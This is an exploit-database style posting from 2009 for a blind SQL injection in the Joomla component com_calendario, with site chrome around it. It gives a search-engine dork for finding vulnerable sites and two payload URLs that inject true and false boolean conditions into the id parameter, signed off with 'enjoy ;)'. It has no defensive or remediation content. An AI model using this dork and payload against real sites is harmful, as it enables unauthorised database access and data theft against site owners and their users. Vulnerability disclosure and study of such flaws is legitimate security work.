Joomla Component com_calendario Blind SQL injection Vulnerability



EDB-ID: 10760 CVE: N/AOSVDB-ID: N/A
Author: Mr.tro0oqyPublished: 2009-12-28Verified: Verified
Exploit Code:   DownloadVulnerable App:   N/A

Rating

(0.0)
Prev Home Next
Joomla Component com_calendario Blind SQL injection Vulnerability
author : Mr.tro0oqy --> yemeni hacker
email : t.4@windowslive.com
dork: inurl:index.php?option=com_calendario
exp :
http://www.target.com/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=1 true
http://www.target.com/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=0 false
enjoy ;)






Comments

No comments so far